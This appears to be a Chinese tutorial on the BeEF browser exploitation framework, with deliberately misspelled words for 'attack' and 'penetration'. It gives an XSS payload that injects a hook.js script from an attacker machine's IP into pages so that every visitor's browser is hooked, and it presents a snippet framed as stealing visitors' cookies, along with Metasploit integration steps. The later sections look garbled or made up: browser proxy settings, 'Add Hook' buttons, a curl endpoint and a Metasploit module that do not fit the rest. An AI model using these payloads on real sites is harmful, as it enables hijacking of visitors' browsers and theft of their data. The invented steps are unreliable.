我们输入默认的用户名和密码:beef,即可登录BEEF。
BEEF渗头测试实战
接下来,我们使用BEEF进行渗头测试的实战。
BEEF把其公鸡脚本全部放在了hook.js的脚本中,因此我们需要在页面中将该文件当作JavaScript脚本代码来执行。一个常见的作法是利用某页面的XSS漏懂,这样我们就可以将下列代码:
<script src="http://192.168.136.66:3000/hook.js"></script>
1.
插入到页面中。其中192.168.136.66为Kali Linux的IP地址。这样,所有访问该页面的用户,都会加载BEEF的公鸡脚本,然后就会收到BEEF的公鸡了。
我们按照上述思路构造页面,然后让浏览器访问该页面,我们就可以在BEEF的管理页面中看到上线的浏览器信息了,如下所示:
基本使用步骤
安装 BeEF:
克隆 BeEF 的 GitHub 仓库:
git clone https://github.com/beefproject/beef.git
安装依赖:
cd beef gem install bundler bundle install
启动 BeEF:
启动 BeEF 服务器:
ruby app.rb
打开浏览器,访问 http://localhost:3000/,你会看到 BeEF 的管理界面。
配置代理:
配置你的浏览器使用 BeEF 作为代理服务器。例如,在 Chrome 中,打开设置,搜索“代理”,然后配置代理服务器为 http://localhost:3000/。
捕获流量:
在 BeEF 界面中,点击“Hooks”标签,然后点击“Add Hook”按钮。选择一个钩子(例如,alert("BeEFed!")),然后点击“Inject”按钮。
浏览器会自动加载一个 JavaScript 代码片段,当你访问任何网站时,BeEF 会注入这个钩子。
查看结果:
当钩子被触发时,BeEF 界面会显示相关信息,包括访问者的 IP 地址、浏览器信息等。
进阶使用方法
编写自定义钩子:
你可以编写自己的 JavaScript 代码来创建自定义钩子。例如,你可以创建一个钩子来窃取用户的 cookie:
var cookies = document.cookie; alert(cookies);
将这个代码片段添加到 BeEF 的“Hooks”标签中,然后注入到目标网站。
使用 BeEF 模块:
BeEF 提供了许多内置模块,可以帮助你执行各种公鸡和测试。例如,你可以使用“XSS”模块来测试跨站脚本公鸡。
在 BeEF 界面中,点击“Modules”标签,然后选择一个模块进行测试。
集成 BeEF 和 Metasploit:
BeEF 可以与 Metasploit 框架集成,从而实现更复杂的公鸡。例如,你可以使用 BeEF 来传递 Metasploit 的有效载荷。
配置 Metasploit 以使用 BeEF 作为代理:
msfconsole use auxiliary/server/beef set LHOST <your_local_ip> set PORT 3000 set HandlerPort 8080 run
在 BeEF 界面中,点击“Hooks”标签,然后点击“Add Hook”按钮。选择一个钩子(例如,alert("BeEFed!")),然后点击“Inject”按钮。
自动化测试:
你可以使用 BeEF 的 API 来自动化测试过程。例如,你可以编写一个脚本来自动注入钩子并收集结果。
使用 BeEF 的 RESTful API,你可以通过 HTTP 请求来控制 BeEF 服务器。例如,你可以使用 curl 命令来添加一个钩子:
curl -X POST http://localhost:3000/hooks -d "url=http://example.com" -d "hook=alert('BeEFed!')"